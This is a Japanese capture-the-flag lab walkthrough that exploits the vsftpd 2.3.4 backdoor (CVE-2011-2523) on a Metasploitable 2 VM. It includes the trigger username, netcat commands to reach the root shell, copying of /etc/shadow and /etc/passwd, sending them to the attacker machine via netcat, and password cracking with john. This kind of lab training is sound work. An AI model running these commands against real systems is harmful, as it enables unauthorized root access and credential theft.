シナリオ Capture the Flag - CVE-2011-2523

脆弱なMetasploitable 2サーバーから復号された/etc/shadowと/etc/passwdファイルを取得します。

環境セットアップ

ステップ1: 仮想マシンをダウンロードして解凍する

このCTFでは、VMware Workstation Proと2つの仮想マシンを使用します。攻撃機としてKali Linux、脆弱機としてMetasploitable 2を利用します。

• VMware Workstationをダウンロードしてインストール: https://www.vmware.com/products/workstation-player/workstation-player-evaluation.html
• Kali Linux仮想マシンをダウンロードして展開: https://www.kali.org/get-kali/
• Metasploitable 2仮想マシンをダウンロードして展開: https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

ステップ2: 展開したファイルからVMwareでKali LinuxとMetasploitable 2仮想マシンを開く

• VMware WorkstationでOpen a Virtual Machineオプションを選択し、解凍したKali Linuxファイルを選択します。
• スライドバーを右クリックしてopenオプションを選択し、解凍したMetasploitable 2ファイルを選択します。
• 両方の仮想マシンでPlay virtual machineボタンをクリックします。
• I moved ItまたはI copied Itの選択を求められたら、I copied Itを選択します。

ステップ3: ログイン

• Kali Linuxにユーザー名とパスワードkaliでログインします。
• Metasploitableにユーザー名とパスワードmsfadminでログインします。

ステップ4: Metasploitable仮想マシンのIPアドレスを記録

• ip addr showを実行し、inetセクションのIPアドレスを記録します。

解法

マサチューセッツ工科大学の研究エンジニアリング部門は、CVE-2011-2523を一般的な脆弱性および暴露として詳細に説明しており、20110630から20110703の間にダウンロードされたvsftpd 2.3.4には、ポート6200/tcpにシェルを開くバックドアが含まれています。

ステップ1: FTPサービスを使用してMetasploitableマシンの開いているポートをスキャン

• nmap <vulnerable-machine-ip-address>
• nmapスキャンで、ftpサービスを使用するポート21が開いていることを確認します。

ステップ2: 開いているポートにNetCatで接続を試みる

• nc <vulnerable-machine-ip-address> 21
• ユーザー名は:)で終わる任意の文字列です。user <string>:)を入力します。
• パスワードを求められたら、任意の文字列pass <string>を入力します。
• その後、^C [CTRL + C]で接続を終了すると、Metasploitableのrootシェルがポート6200で開かれます。

ステップ3: 脆弱マシンのポート6200のシェルに接続

• nc -v <vulnerable-machine-ip-address> 6200
• 現在の接続のIPアドレスを表示: ip addr show
• whoamiでrootアクセスが付与されたことを確認します。

ステップ4: /etc/shadowと/etc/passwdファイルを別のファイルにコピー

• cp /etc/shadow shadow.txt
• cp /etc/passwd passwd.txt

ステップ5: NetCatを使用してコピーしたファイルをKali Linuxマシンに送信

• 攻撃機で、コマンドip addr showを使ってinetのIPアドレスを確認します。
• 攻撃機でnc -l -p 1234 > shadow.txtを使用してファイルを受信待ちします。
• Metasploitableのrootシェルでnc -w 3 <destination-ip> 1234 < shadow.txtを実行します。
• passwdファイルについても同様に繰り返します。

ステップ5: shadowファイルをJohnツールの形式に整形

• unshadow passwd.txt shadow.txt > unshadowed-input
• cat unshadowed-inputでファイルを確認します。ユーザー名とパスワードが保存されているはずです。

ステップ6: Johnコマンドとワードリストを使用してshadowファイルを復号

• ワードリストrockyou.txtを使用してjohnでハッシュをクラックします。
• Kali Linuxでsudo gzip -d /usr/share/wordlists/rockyou.txt.gzを使用してワードリストファイルを解凍します。
• パスワードを求められたら、Kali Linuxのデフォルトの管理者パスワードkaliを使用します。
• john unshadowed-input –wordlist=/usr/share/wordlists/rockyou.txtを使用してパスワードをハッシュ解除します。
• john –show unshadowed-inputでクラックされたパスワードを表示します。